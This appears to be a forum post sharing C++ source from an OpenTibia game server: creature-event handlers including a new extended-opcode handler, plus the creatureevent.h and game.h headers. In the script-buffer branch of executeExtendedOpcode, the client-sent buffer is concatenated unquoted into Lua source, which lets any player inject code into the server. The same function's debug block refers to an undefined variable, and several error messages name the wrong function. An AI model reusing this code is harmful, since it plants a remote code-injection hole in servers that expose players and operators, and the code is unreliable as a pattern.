            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeTarget] Call stack overflow." << std::endl;
        return 0;
    }
}

uint32_t CreatureEvent::executeFollow(Creature* creature, Creature* target)
{
    //onFollow(cid, target)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;

            scriptstream << "local cid = " << env->addThing(creature) << std::endl;
            scriptstream << "local target = " << env->addThing(target) << std::endl;

            scriptstream << m_scriptData;
            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }

            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEventDesc(desc.str());
            #endif

            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());

            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);

            lua_pushnumber(L, env->addThing(creature));
            lua_pushnumber(L, env->addThing(target));

            bool result = m_interface->callFunction(2);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::cout << "[Error - CreatureEvent::executeFollow] Call stack overflow." << std::endl;
        return 0;
    }
}


uint32_t CreatureEvent::executeExtendedOpcode(Creature* creature, uint8_t opcode, const std::string& buffer)
{
//onExtendedOpcode(cid, opcode, buffer)
if(m_interface->reserveEnv())
{
ScriptEnviroment* env = m_interface->getEnv();
if(m_scripted == EVENT_SCRIPT_BUFFER)
{
env->setRealPos(creature->getPosition());
std::stringstream scriptstream;
scriptstream << "local cid = " << env->addThing(creature) << std::endl;
scriptstream << "local opcode = " << (int)opcode << std::endl;
scriptstream << "local buffer = " << buffer.c_str() << std::endl;

scriptstream << m_scriptData;
bool result = true;
if(m_interface->loadBuffer(scriptstream.str()))
{
lua_State* L = m_interface->getState();
result = m_interface->getGlobalBool(L, "_result", true);
}

m_interface->releaseEnv();
return result;
}
else
{
#ifdef __DEBUG_LUASCRIPTS__
char desc[35];
sprintf(desc, "%s", player->getName().c_str());
env->setEvent(desc);
#endif

env->setScriptId(m_scriptId, m_interface);
env->setRealPos(creature->getPosition());

lua_State* L = m_interface->getState();
m_interface->pushFunction(m_scriptId);
lua_pushnumber(L, env->addThing(creature));
lua_pushnumber(L, opcode);
lua_pushlstring(L, buffer.c_str(), buffer.length());

bool result = m_interface->callFunction(3);
m_interface->releaseEnv();
return result;
}
}
else
{
std::cout << "[Error - CreatureEvent::executeRemoved] Call stack overflow." << std::endl;
return 0;
}
}

uint32_t CreatureEvent::executeOnSpawn(Creature* creature)
{

    //onSpawn(cid)
    if(m_interface->reserveEnv())
    {
        ScriptEnviroment* env = m_interface->getEnv();
        if(m_scripted == EVENT_SCRIPT_BUFFER)
        {
            env->setRealPos(creature->getPosition());
            std::stringstream scriptstream;


            scriptstream << "local cid = " << env->addThing(creature) << std::endl;

            scriptstream << m_scriptData;


            bool result = true;
            if(m_interface->loadBuffer(scriptstream.str()))
            {
                lua_State* L = m_interface->getState();
                result = m_interface->getGlobalBool(L, "_result", true);
            }


            m_interface->releaseEnv();
            return result;
        }
        else
        {
            #ifdef __DEBUG_LUASCRIPTS__
            std::stringstream desc;
            desc << creature->getName();
            env->setEvent(desc.str());
            #endif


            env->setScriptId(m_scriptId, m_interface);
            env->setRealPos(creature->getPosition());


            lua_State* L = m_interface->getState();
            m_interface->pushFunction(m_scriptId);


            lua_pushnumber(L, env->addThing(creature));


            bool result = m_interface->callFunction(1);
            m_interface->releaseEnv();
            return result;
        }
    }
    else
    {
        std::clog << "[Error - CreatureEvent::executeCast] Call stack overflow." << std::endl;
        return 0;
    }
}
 

creatureevent.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __CREATUREEVENT__
#define __CREATUREEVENT__
#include "enums.h"

#include "baseevents.h"
#include "tile.h"

enum CreatureEventType_t
{
    CREATURE_EVENT_NONE,
    CREATURE_EVENT_LOGIN,
    CREATURE_EVENT_LOGOUT,
    CREATURE_EVENT_CHANNEL_JOIN,
    CREATURE_EVENT_CHANNEL_LEAVE,
    CREATURE_EVENT_ADVANCE,
    CREATURE_EVENT_LOOK,
    CREATURE_EVENT_DIRECTION,
    CREATURE_EVENT_OUTFIT,
    CREATURE_EVENT_MAIL_SEND,
    CREATURE_EVENT_MAIL_RECEIVE,
    CREATURE_EVENT_TRADE_REQUEST,
    CREATURE_EVENT_TRADE_ACCEPT,
    CREATURE_EVENT_TEXTEDIT,
    CREATURE_EVENT_REPORTBUG,
    CREATURE_EVENT_THINK,
    CREATURE_EVENT_STATSCHANGE,
    CREATURE_EVENT_COMBAT_AREA,
    CREATURE_EVENT_PUSH,
    CREATURE_EVENT_TARGET,
    CREATURE_EVENT_FOLLOW,
    CREATURE_EVENT_COMBAT,
    CREATURE_EVENT_ATTACK,
    CREATURE_EVENT_CAST,
    CREATURE_EVENT_KILL,
    CREATURE_EVENT_DEATH,
    CREATURE_EVENT_PREPAREDEATH,
    CREATURE_EVENT_SPAWN,
    CREATURE_EVENT_EXTENDED_OPCODE // otclient additional network opcodes
};

enum StatsChange_t
{
    STATSCHANGE_HEALTHGAIN,
    STATSCHANGE_HEALTHLOSS,
    STATSCHANGE_MANAGAIN,
    STATSCHANGE_MANALOSS
};

class CreatureEvent;
class CreatureEvents : public BaseEvents
{
    public:
        CreatureEvents();
        virtual ~CreatureEvents();

        // global events
        bool playerLogin(Player* player);
        bool playerLogout(Player* player, bool forceLogout);

        CreatureEvent* getEventByName(const std::string& name, bool forceLoaded = true);

    protected:
        virtual std::string getScriptBaseName() const {return "creaturescripts";}
        virtual void clear();

        virtual Event* getEvent(const std::string& nodeName);
        virtual bool registerEvent(Event* event, xmlNodePtr p, bool override);

        virtual LuaScriptInterface& getInterface() {return m_interface;}
        LuaScriptInterface m_interface;

        //creature events
        typedef std::map<std::string, CreatureEvent*> CreatureEventList;
        CreatureEventList m_creatureEvents;
};

struct DeathEntry;
typedef std::vector<DeathEntry> DeathList;

typedef std::map<uint32_t, Player*> UsersMap;
class CreatureEvent : public Event
{
    public:
        CreatureEvent(LuaScriptInterface* _interface);
        virtual ~CreatureEvent() {}

        virtual bool configureEvent(xmlNodePtr p);

        bool isLoaded() const {return m_isLoaded;}
        const std::string& getName() const {return m_eventName;}
        CreatureEventType_t getEventType() const {return m_type;}

        void copyEvent(CreatureEvent* creatureEvent);
        void clearEvent();

        //scripting
        uint32_t executeLogin(Player* player);
        uint32_t executeLogout(Player* player, bool forceLogout);
        uint32_t executeChannelJoin(Player* player, uint16_t channelId, UsersMap usersMap);
        uint32_t executeChannelLeave(Player* player, uint16_t channelId, UsersMap usersMap);
        uint32_t executeAdvance(Player* player, skills_t skill, uint32_t oldLevel, uint32_t newLevel);
        uint32_t executeLook(Player* player, Thing* thing, const Position& position, int16_t stackpos, int32_t lookDistance);
        uint32_t executeMailSend(Player* player, Player* receiver, Item* item, bool openBox);
        uint32_t executeMailReceive(Player* player, Player* sender, Item* item, bool openBox);
        uint32_t executeTradeRequest(Player* player, Player* target, Item* item);
        uint32_t executeTradeAccept(Player* player, Player* target, Item* item, Item* targetItem);
        uint32_t executeTextEdit(Player* player, Item* item, std::string newText);
        uint32_t executeReportBug(Player* player, std::string comment);
        uint32_t executeThink(Creature* creature, uint32_t interval);
        uint32_t executeDirection(Creature* creature, Direction old, Direction current);
        uint32_t executeOutfit(Creature* creature, const Outfit_t& old, const Outfit_t& current);
        uint32_t executeStatsChange(Creature* creature, Creature* attacker, StatsChange_t type, CombatType_t combat, int32_t value);
        uint32_t executeCombatArea(Creature* creature, Tile* tile, bool isAggressive);
        uint32_t executePush(Player* player, Creature* target);
        uint32_t executeTarget(Creature* creature, Creature* target);
        uint32_t executeFollow(Creature* creature, Creature* target);
        uint32_t executeCombat(Creature* creature, Creature* target);
        uint32_t executeAttack(Creature* creature, Creature* target);
        uint32_t executeCast(Creature* creature, Creature* target = NULL);
        uint32_t executeKill(Creature* creature, Creature* target, bool lastHit);
        uint32_t executeDeath(Creature* creature, Item* corpse, DeathList deathList);
        uint32_t executePrepareDeath(Creature* creature, DeathList deathList);
        uint32_t executeOnSpawn(Creature* creature);
        uint32_t executeExtendedOpcode(Creature* creature, uint8_t opcode, const std::string& buffer);
        //

    protected:
        virtual std::string getScriptEventName() const;
        virtual std::string getScriptEventParams() const;

        bool m_isLoaded;
        std::string m_eventName;
        CreatureEventType_t m_type;
};
#endif
 

game.h

Citar

////////////////////////////////////////////////////////////////////////
// OpenTibia - an opensource roleplaying game
////////////////////////////////////////////////////////////////////////
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program.  If not, see <http://www.gnu.org/licenses/>.
////////////////////////////////////////////////////////////////////////

#ifndef __GAME__
#define __GAME__
#include "otsystem.h"

#include "enums.h"
#include "templates.h"
#include "scheduler.h"

#include "map.h"
#include "spawn.h"

#include "item.h"
#include "player.h"
#include "npc.h"
#include "monster.h"

class ServiceManager;
class Creature;
class Player;
class Monster;
class Npc;
class CombatInfo;

enum stackposType_t
{
    STACKPOS_NORMAL,
    STACKPOS_MOVE,
    STACKPOS_LOOK,
    STACKPOS_USE,
    STACKPOS_USEITEM
};

enum WorldType_t
{
    WORLD_TYPE_FIRST = 1,
    WORLD_TYPE_NO_PVP = WORLD_TYPE_FIRST,
    WORLD_TYPE_PVP = 2,
    WORLD_TYPE_PVP_ENFORCED = 3,
    WORLD_TYPE_LAST = WORLD_TYPE_PVP_ENFORCED
};

enum GameState_t
{
    GAME_STATE_FIRST = 1,
    GAME_STATE_STARTUP = GAME_STATE_FIRST,
    GAME_STATE_INIT = 2,
    GAME_STATE_NORMAL = 3,
    GAME_STATE_MAINTAIN = 4,
    GAME_STATE_CLOSED = 5,
    GAME_STATE_CLOSING = 6,
    GAME_STATE_SHUTDOWN = 7,
    GAME_STATE_LAST = GAME_STATE_SHUTDOWN
};

enum LightState_t
{
    LIGHT_STATE_DAY,
    LIGHT_STATE_NIGHT,
    LIGHT_STATE_SUNSET,
    LIGHT_STATE_SUNRISE
};

enum ReloadInfo_t
{
    RELOAD_FIRST = 1,
    RELOAD_ACTIONS = RELOAD_FIRST,
    RELOAD_CHAT = 2,
    RELOAD_CONFIG = 3,
    RELOAD_CREATUREEVENTS = 4,
    RELOAD_GAMESERVERS = 5,
    RELOAD_GLOBALEVENTS = 6,
    RELOAD_GROUPS = 7,
    RELOAD_HIGHSCORES = 8,
    RELOAD_HOUSEPRICES = 9,
    RELOAD_ITEMS = 10,
    RELOAD_MONSTERS = 11,
    RELOAD_MOVEEVENTS = 12,
    RELOAD_NPCS = 13,
    RELOAD_OUTFITS = 14,
    RELOAD_QUESTS = 15,
    RELOAD_RAIDS = 16,
    RELOAD_SPELLS = 17,
    RELOAD_STAGES = 18,
    RELOAD_TALKACTIONS = 19,
    RELOAD_VOCATIONS = 20,
    RELOAD_WEAPONS = 21,
    RELOAD_MODS = 22,
    RELOAD_ALL = 23,
    RELOAD_LAST = RELOAD_MODS
};

struct RuleViolation
{
    RuleViolation(Player* _reporter, const std::string& _text, uint32_t _time):
        reporter(_reporter), gamemaster(NULL), text(_text), time(_time), isOpen(true) {}

    Player* reporter;
    Player* gamemaster;
    std::string text;
    uint32_t time;
    bool isOpen;

    private:
        RuleViolation(const RuleViolation&);
};

struct RefreshBlock_t
{
    TileItemVector list;
    uint64_t lastRefresh;
};

typedef std::map<uint32_t, shared_ptr<RuleViolation> > RuleViolationsMap;
typedef std::map<Tile*, RefreshBlock_t> RefreshTiles;
typedef std::vector< std::pair<std::string, uint32_t> > Highscore;
typedef std::list<Position> Trash;
typedef std::map<int32_t, float> StageList;

#define EVENT_LIGHTINTERVAL 10000
#define EVENT_DECAYINTERVAL 1000
#define EVENT_DECAYBUCKETS 16
#define STATE_DELAY 1000

/**
  * Main Game class.
  * This class is responsible to control everything that happens
  */

class Game
{
    public:
        Game();
        virtual ~Game();
        void start(ServiceManager* servicer);

        Highscore getHighscore(uint16_t skill);
        std::string getHighscoreString(uint16_t skill);
        void checkHighscores();
        bool reloadHighscores();

        void prepareGlobalSave();
        void globalSave();

        /**
          * Load a map.
          * \param filename Mapfile to load
          * \returns int32_t 0 built-in spawns, 1 needs xml spawns, 2 needs sql spawns, -1 if got error
          */
        int32_t loadMap(std::string filename);

        /**
          * Get the map size - info purpose only
          * \param width width of the map
          * \param height height of the map
          */
        void getMapDimensions(uint32_t& width, uint32_t& height)
        {
            width = map->mapWidth;
            height = map->mapHeight;
            return;
        }

        void setWorldType(WorldType_t type) {worldType = type;}
        WorldType_t getWorldType() const {return worldType;}

        Cylinder* internalGetCylinder(Player* player, const Position& pos);
        Thing* internalGetThing(Player* player, const Position& pos, int32_t index,
            uint32_t spriteId = 0, stackposType_t type = STACKPOS_NORMAL);
        void internalGetPosition(Item* item, Position& pos, int16_t& stackpos);

        std::string getTradeErrorDescription(ReturnValue ret, Item* item);

        /**
          * Get a single tile of the map.
          * \returns A pointer to the tile
          */
        Tile* getTile(int32_t x, int32_t y, int32_t z) {return map->getTile(x, y, z);}
        Tile* getTile(const Position& pos) {return map->getTile(pos);}

        /**
          * Set a single tile of the map, position is read from this tile
          */
        void setTile(Tile* newTile) {if(map) return map->setTile(newTile->getPosition(), newTile);}

        /**
          * Get a leaf of the map.
          * \returns A pointer to a leaf
          */
        QTreeLeafNode* getLeaf(uint32_t x, uint32_t y) {return map->getLeaf(x, y);}

        /**
          * Returns a creature based on the unique creature identifier
          * \param id is the unique creature id to get a creature pointer to
          * \returns A Creature pointer to the creature
          */
        Creature* getCreatureByID(uint32_t id);

        /**
          * Returns a player based on the unique creature identifier
          * \param id is the unique player id to get a player pointer to
          * \returns A Pointer to the player
          */
        Player* getPlayerByID(uint32_t id);

        /**
          * Returns a creature based on a string name identifier
          * \param s is the name identifier
          * \returns A Pointer to the creature
          */
        Creature* getCreatureByName(std::string s);

        /**
          * Returns a player based on a string name identifier
          * \param s is the name identifier
          * \returns A Pointer to the player
          */
        Player* getPlayerByName(std::string s);

        /**
          * Returns a player based on a string name identifier
          * this function returns a pointer even if the player is offline,
          * it is up to the caller of the function to delete the pointer - if the player is offline
          * use isOffline() to determine if the player was offline
          * \param s is the name identifier
          * \return A Pointer to the player
          */
        Player* getPlayerByNameEx(const std::string& s);

        /**
          * Returns a player based on a guid identifier
          * this function returns a pointer even if the player is offline,
          * it is up to the caller of the function to delete the pointer - if the player is offline
          * use isOffline() to determine if the player was offline
          * \param guid is the identifier
          * \return A Pointer to the player
          */
        Player* getPlayerByGuid(uint32_t guid);

        /**
          * Returns a player based on a guid identifier
          * this function returns a pointer even if the player is offline,
          * it is up to the caller of the function to delete the pointer - if the player is offline
          * use isOffline() to determine if the player was offline
          * \param guid is the identifier
          */
        Player* getPlayerByGuidEx(uint32_t guid);

        /**
          * Returns a player based on a string name identifier, with support for the "~" wildcard.
          * \param s is the name identifier, with or without wildcard
          * \param player will point to the found player (if any)
          * \return "RET_PLAYERWITHTHISNAMEISNOTONLINE" or "RET_NAMEISTOOAMBIGUOUS"
          */
        ReturnValue getPlayerByNameWildcard(std::string s, Player*& player);

        /**
          * Returns a player based on an account number identifier
          * \param acc is the account identifier
          * \returns A Pointer to the player
          */
        Player* getPlayerByAccount(uint32_t acc);

        /**
          * Returns all players based on their name
          * \param s is the player name
          * \return A vector of all players with the selected name
          */
        PlayerVector getPlayersByName(std::string s);

        /**
          * Returns all players based on their account number identifier
          * \param acc is the account identifier
          * \return A vector of all players with the selected account number
          */
        PlayerVector getPlayersByAccount(uint32_t acc);

        /**
          * Returns all players with a certain IP address
          * \param ip is the IP address of the clients, as an unsigned long
          * \param mask An IP mask, default 255.255.255.255
          * \return A vector of all players with the selected IP
          */
        PlayerVector getPlayersByIP(uint32_t ip, uint32_t mask = 0xFFFFFFFF);

        /**
          * Place Creature on the map without sending out events to the surrounding.
          * \param creature Creature to place on the map
          * \param pos The position to place the creature
          * \param forced If true, placing the creature will not fail because of obstacles (creatures/items)
          */
        bool internalPlaceCreature(Creature* creature, const Position& pos, bool extendedPos = false, bool forced = false);

        /**
          * Place Creature on the map.
          * \param creature Creature to place on the map
          * \param pos The position to place the creature
          * \param forced If true, placing the creature will not fail because of obstacles (creatures/items)
          */
        bool placeCreature(Creature* creature, const Position& pos, bool extendedPos = false, bool forced = false);
        ReturnValue placeSummon(Creature* creature, const std::string& name);

        /**
          * Remove Creature from the map.
          * Removes the Creature the map
          * \param c Creature to remove
          */
        bool removeCreature(Creature* creature, bool isLogout = true);

        void addCreatureCheck(Creature* creature);
        void removeCreatureCheck(Creature* creature);

        uint32_t getPlayersOnline() {return (uint32_t)Player::autoList.size();}
        uint32_t getMonstersOnline() {return (uint32_t)Monster::autoList.size();}
        uint32_t getNpcsOnline() {return (uint32_t)Npc::autoList.size();}
        uint32_t getCreaturesOnline() {return (uint32_t)autoList.size();}

        uint32_t getPlayersRecord() {return playersRecord;}
        void getWorldLightInfo(LightInfo& lightInfo);

        void getSpectators(SpectatorVec& list, const Position& centerPos, bool checkforduplicate = false, bool multifloor = false,
            int32_t minRangeX = 0, int32_t maxRangeX = 0,
            int32_t minRangeY = 0, int32_t maxRangeY = 0)
            {map->getSpectators(list, centerPos, checkforduplicate, multifloor, minRangeX, maxRangeX, minRangeY, maxRangeY);}
        const SpectatorVec& getSpectators(const Position& centerPos) {return map->getSpectators(centerPos);}
        void clearSpectatorCache() {if(map) map->clearSpectatorCache();}

        ReturnValue internalMoveCreature(Creature* creature, Direction direction, uint32_t flags = 0);
        ReturnValue internalMoveCreature(Creature* actor, Creature* creature, Cylinder* fromCylinder, Cylinder* toCylinder, uint32_t flags = 0);

        ReturnValue internalMoveItem(Creature* actor, Cylinder* fromCylinder, Cylinder* toCylinder, int32_t index,
            Item* item, uint32_t count, Item** _moveItem, uint32_t flags = 0);

        ReturnValue internalAddItem(Creature* actor, Cylinder* toCylinder, Item* item, int32_t index = INDEX_WHEREEVER,
            uint32_t flags = 0, bool test = false);
        ReturnValue internalRemoveItem(Creature* actor, Item* item, int32_t count = -1,  bool test = false, uint32_t flags = 0);

        ReturnValue internalPlayerAddItem(Creature* actor, Player* player, Item* item, bool dropOnMap = true);

        /**
          * Find an item of a certain type
          * \param cylinder to search the item
          * \param itemId is the item to remove
          * \param subType is the extra type an item can have such as charges/fluidtype, default is -1
            * meaning it's not used
          * \param depthSearch if true it will check child containers aswell
          * \returns A pointer to the item to an item and NULL if not found
          */
        Item* findItemOfType(Cylinder* cylinder, uint16_t itemId,
            bool depthSearch = true, int32_t subType = -1);

        /**
          * Remove item(s) of a certain type
          * \param cylinder to remove the item(s) from
          * \param itemId is the item to remove
          * \param count is the amount to remove
          * \param subType is the extra type an item can have such as charges/fluidtype, default is -1
            * meaning it's not used
          * \returns true if the removal was successful
          */
        bool removeItemOfType(Cylinder* cylinder, uint16_t itemId, int32_t count, int32_t subType = -1);

        /**
          * Get the amount of money in a a cylinder
          * \returns the amount of money found
          */
        uint32_t getMoney(const Cylinder* cylinder);

        /**
          * Remove/Add item(s) with a monetary value
          * \param cylinder to remove the money from
          * \param money is the amount to remove
          * \param flags optional flags to modifiy the default behaviour
          * \returns true if the removal was successful
          */
        bool removeMoney(Cylinder* cylinder, int32_t money, uint32_t flags = 0);

        /**
          * Add item(s) with monetary value
          * \param cylinder which will receive money
          * \param money the amount to give
          * \param flags optional flags to modify default behavior
          */
        void addMoney(Cylinder* cylinder, int32_t money, uint32_t flags = 0);

        /**
          * Transform one item to another type/count
          * \param item is the item to transform
          * \param newId is the new itemid
          * \param newCount is the new count value, use default value (-1) to not change it
          * \returns true if the tranformation was successful
          */
        Item* transformItem(Item* item, uint16_t newId, int32_t newCount = -1);

        /**
          * Teleports an object to another position
          * \param thing is the object to teleport
          * \param newPos is the new position
          * \param flags optional flags to modify default behavior
          * \returns true if the teleportation was successful
          */
        ReturnValue internalTeleport(Thing* thing, const Position& newPos, bool pushMove, uint32_t flags = 0);

        /**
            * Turn a creature to a different direction.
            * \param creature Creature to change the direction
            * \param dir Direction to turn to
            */
        bool internalCreatureTurn(Creature* creature, Direction dir);

        /**
          * Creature wants to say something.
          * \param creature Creature pointer
          * \param type Type of message
          * \param text The text to say
          * \param ghostMode Is creature on ghost mode
          * \param spectators Send message only to creatures pointed in vector
          * \param pos Appear as sent from different position
          */
        bool internalCreatureSay(Creature* creature, SpeakClasses type, const std::string& text,
            bool ghostMode, SpectatorVec* spectators = NULL, Position* pos = NULL);

        bool internalStartTrade(Player* player, Player* partner, Item* tradeItem);
        bool internalCloseTrade(Player* player);

        //Implementation of player invoked events
        bool playerBroadcastMessage(Player* player, SpeakClasses type, const std::string& text);
        bool playerReportBug(uint32_t playerId, std::string bug);
        bool playerViolationWindow(uint32_t playerId, std::string name, uint8_t reason,
            ViolationAction_t action, std::string comment, std::string statement,
            uint32_t statementId, bool ipBanishment);
        bool playerMoveThing(uint32_t playerId, const Position& fromPos, uint16_t spriteId,
            int16_t fromStackpos, const Position& toPos, uint8_t count);
        bool playerMoveCreature(uint32_t playerId, uint32_t movingCreatureId,
            const Position& movingCreatureOrigPos, const Position& toPos);
        bool playerMoveItem(uint32_t playerId, const Position& fromPos,
            uint16_t spriteId, int16_t fromStackpos, const Position& toPos, uint8_t count);
        bool playerMove(uint32_t playerId, Direction dir);
        bool playerCreatePrivateChannel(uint32_t playerId);
        bool playerChannelInvite(uint32_t playerId, const std::string& name);
        bool playerChannelExclude(uint32_t playerId, const std::string& name);
        bool playerRequestChannels(uint32_t playerId);
        bool playerOpenChannel(uint32_t playerId, uint16_t channelId);
        bool playerCloseChannel(uint32_t playerId, uint16_t channelId);
        bool playerOpenPrivateChannel(uint32_t playerId, std::string& receiver);
        bool playerCloseNpcChannel(uint32_t playerId);
        bool playerProcessRuleViolation(uint32_t playerId, const std::string& name);
        bool playerCloseRuleViolation(uint32_t playerId, const std::string& name);
        bool playerCancelRuleViolation(uint32_t playerId);
        bool playerReceivePing(uint32_t playerId);
        bool playerAutoWalk(uint32_t playerId, std::list<Direction>& listDir);
        bool playerStopAutoWalk(uint32_t playerId);
        bool playerUseItemEx(uint32_t playerId, const Position& fromPos, int16_t fromStackpos,
            uint16_t fromSpriteId, const Position& toPos, int16_t toStackpos, uint16_t toSpriteId, bool isHotkey);
        bool playerUseItem(uint32_t playerId, const Position& pos, int16_t stackpos,
            uint8_t index, uint16_t spriteId, bool isHotkey);
        bool playerUseBattleWindow(uint32_t playerId, const Position& fromPos,
            int16_t fromStackpos, uint32_t creatureId, uint16_t spriteId, bool isHotkey);
        bool playerCloseContainer(uint32_t playerId, uint8_t cid);
        bool playerMoveUpContainer(uint32_t playerId, uint8_t cid);
        bool playerUpdateContainer(uint32_t playerId, uint8_t cid);
        bool playerUpdateTile(uint32_t playerId, const Position& pos);
        bool playerRotateItem(uint32_t playerId, const Position& pos, int16_t stackpos, const uint16_t spriteId);
        bool playerWriteItem(uint32_t playerId, uint32_t windowTextId, const std::string& text);
        bool playerUpdateHouseWindow(uint32_t playerId, uint8_t listId, uint32_t windowTextId, const std::string& text);
        bool playerRequestTrade(uint32_t playerId, const Position& pos, int16_t stackpos,
            uint32_t tradePlayerId, uint16_t spriteId);
        bool playerAcceptTrade(uint32_t playerId);
        bool playerLookInTrade(uint32_t playerId, bool lookAtCounterOffer, int index);
        bool playerPurchaseItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount,
            bool ignoreCap = false, bool inBackpacks = false);
        bool playerSellItem(uint32_t playerId, uint16_t spriteId, uint8_t count, uint8_t amount);
        bool playerCloseShop(uint32_t playerId);
        bool playerLookInShop(uint32_t playerId, uint16_t spriteId, uint8_t count);
        bool playerCloseTrade(uint32_t playerId);
        bool playerSetAttackedCreature(uint32_t playerId, uint32_t creatureId);
        bool playerFollowCreature(uint32_t playerId, uint32_t creatureId);
        bool playerCancelAttackAndFollow(uint32_t playerId);
        bool playerSetFightModes(uint32_t playerId, fightMode_t fightMode, chaseMode_t chaseMode, secureMode_t secureMode);
        bool playerLookAt(uint32_t playerId, const Position& pos, uint16_t spriteId, int16_t stackpos);
        bool playerQuests(uint32_t playerId);
        bool playerQuestInfo(uint32_t playerId, uint16_t questId);
        bool playerRequestAddVip(uint32_t playerId, const std::string& name);
        bool playerRequestRemoveVip(uint32_t playerId, uint32_t guid);
        bool playerTurn(uint32_t playerId, Direction dir);
        bool playerRequestOutfit(uint32_t playerId);
        bool playerSay(uint32_t playerId, uint16_t channelId, SpeakClasses type,
            const std::string& receiver, const std::string& text);
        bool playerChangeOutfit(uint32_t playerId, Outfit_t outfit);
        bool playerInviteToParty(uint32_t playerId, uint32_t invitedId);
        bool playerJoinParty(uint32_t playerId, uint32_t leaderId);
        bool playerRevokePartyInvitation(uint32_t playerId, uint32_t invitedId);
        bool playerPassPartyLeadership(uint32_t playerId, uint32_t newLeaderId);
        bool playerLeaveParty(uint32_t playerId);
        bool playerSharePartyExperience(uint32_t playerId, bool activate, uint8_t unknown);

        void kickPlayer(uint32_t playerId, bool displayEffect);
        bool broadcastMessage(const std::string& text, MessageClasses type);
        void showHotkeyUseMessage(Player* player, Item* item);

        int32_t getMotdId();
        void loadMotd();
        void loadPlayersRecord();
        void checkPlayersRecord(Player* player);

        bool reloadInfo(ReloadInfo_t reload, uint32_t playerId = 0);
        void cleanup();
        void shutdown();
        void freeThing(Thing* thing);

        bool canThrowObjectTo(const Position& fromPos, const Position& toPos, bool checkLineOfSight = true,
            int32_t rangex = Map::maxClientViewportX, int32_t rangey = Map::maxClientViewportY);
        bool isSightClear(const Position& fromPos, const Position& toPos, bool sameFloor);

        bool getPathTo(const Creature* creature, const Position& destPos,
            std::list<Direction>& listDir, int32_t maxSearchDist /*= -1*/);

        bool getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList,
            const FindPathParams& fpp);

        bool getPathToEx(const Creature* creature, const Position& targetPos, std::list<Direction>& dirList,
            uint32_t minTargetDist, uint32_t maxTargetDist, bool fullPathSearch = true,
            bool clearSight = true, int32_t maxSearchDist = -1);

        Position getClosestFreeTile(Creature* creature, Position pos, bool extended = false, bool ignoreHouse = true);
        std::string getSearchString(const Position fromPos, const Position toPos, bool fromIsCreature = false, bool toIsCreature = false);

        void changeLight(const Creature* creature);
        void changeSpeed(Creature* creature, int32_t varSpeedDelta);
        void internalCreatureChangeOutfit(Creature* creature, const Outfit_t& oufit, bool forced = false);
        void internalCreatureChangeVisible(Creature* creature, Visible_t visible);
        void updateCreatureSkull(Creature* creature);
        void sendPublicSquare(Player* sender, SquareColor_t color);

        GameState_t getGameState() const {return gameState;}
        void setGameState(GameState_t newState);

        void saveGameState(bool shallow);
        void loadGameState();

        void cleanMap(uint32_t& count);
        void refreshMap(RefreshTiles::iterator* it = NULL, uint32_t limit = 0);
        void proceduralRefresh(RefreshTiles::iterator* it = NULL);

        void addTrash(Position pos) {trash.push_back(pos);}
        void addRefreshTile(Tile* tile, RefreshBlock_t rb) {refreshTiles[tile] = rb;}

        //Events
        void checkCreatureWalk(uint32_t creatureId);
        void updateCreatureWalk(uint32_t creatureId);
        void checkCreatureAttack(uint32_t creatureId);
        void checkCreatures();
        void checkLight();

        bool combatBlockHit(CombatType_t combatType, Creature* attacker, Creature* target,
            int32_t& healthChange, bool checkDefense, bool checkArmor);

        bool combatChangeHealth(CombatType_t combatType, Creature* attacker, Creature* target, int32_t healthChange,
            MagicEffect_t hitEffect = MAGIC_EFFECT_UNKNOWN, TextColor_t hitColor = TEXTCOLOR_UNKNOWN, bool force = false);
        bool combatChangeMana(Creature* attacker, Creature* target, int32_t manaChange);

        //animation help functions
        void addCreatureHealth(const Creature* target);
        void addCreatureHealth(const SpectatorVec& list, const Creature* target);
        void addAnimatedText(const Position& pos, uint8_t textColor, const std::string& text);
        void addAnimatedText(const SpectatorVec& list, const Position& pos, uint8_t textColor, const std::string& text);
        void addMagicEffect(const Position& pos, uint8_t effect, bool ghostMode = false);
        void addMagicEffect(const SpectatorVec& list, const Position& pos, uint8_t effect, bool ghostMode = false);
        void addDistanceEffect(const SpectatorVec& list, const Position& fromPos, const Position& toPos, uint8_t effect);
        void addDistanceEffect(const Position& fromPos, const Position& toPos, uint8_t effect);

        const RuleViolationsMap& getRuleViolations() const {return ruleViolations;}
        bool cancelRuleViolation(Player* player);
        bool closeRuleViolation(Player* player);

        std::vector<std::string> blacklist;
        bool fetchBlacklist();

        bool loadExperienceStages();
        double getExperienceStage(uint32_t level, double divider = 1.);

        inline StageList::const_iterator getFirstStage() const {return stages.begin();}
        inline StageList::const_iterator getLastStage() const {return stages.end();}
